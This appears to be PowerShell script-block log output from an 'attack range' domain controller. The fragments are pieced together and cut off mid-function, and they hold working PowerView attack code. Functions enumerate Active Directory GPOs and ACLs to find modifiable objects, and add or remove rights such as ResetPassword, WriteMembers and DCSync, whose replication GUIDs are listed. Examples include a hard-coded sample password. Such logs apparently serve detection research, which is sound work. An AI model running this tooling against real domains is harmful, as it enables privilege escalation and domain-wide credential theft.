.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
b853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110286Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1741ect.Properties.distinguishedname) : $_"
}
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal. If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-InterestingDomainAcl
Finds interesting object ACLS in the current domain.
.EXAMPLE
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DomainName', 'Name')]
[String]
$Domain,
[Switch]
$ResolveGUIDs,
[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ACLArguments = @{}
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
$ObjectSearcherArguments = @{
'Properties' = 'samaccountname,objectclass'
'Raw' = $True
}
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
# ongoing list of built-up SIDs
$ResolvedSIDs = @{}
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$ACLArguments['Domain'] = $Domain
$ADNameArguments['Domain'] = $Domain
}
Get-DomainObjectAcl @ACLArguments | ForEach-Object {
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
# only process SIDs > 1000
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
$InterestingACL = New-Object PSObject
$InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
b853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110285Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1641 $IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
if ($Filter) {
$Searcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Object = $_.Properties
if ($Object.objectsid -and $Object.objectsid[0]) {
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
}
else {
$ObjectSid = $Null
}
try {
New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
if ($PSBoundParameters['RightsFilter']) {
$GuidFilter = Switch ($RightsFilter) {
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
Default { '00000000-0000-0000-0000-000000000000' }
}
if ($_.ObjectType -eq $GuidFilter) {
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$Continue = $True
}
}
else {
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$Continue = $True
}
if ($Continue) {
$_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
if ($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
$_.psobject.properties | ForEach-Object {
if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
try {
$AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
}
catch {
$AclProperties[$_.Name] = $_.Value
}
}
else {
$AclProperties[$_.Name] = $_.Value
}
}
$OutObject = New-Object -TypeName PSObject -Property $AclProperties
$OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$OutObject
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$_
}
}
}
}
catch {
Write-Verbose "[Get-DomainObjectAcl] Error: $_"
}
}
}
}
}
function Add-DomainObjectAcl {
<#
.SYNOPSIS
Adds an ACL for a specific active directory object.
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are granted on the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
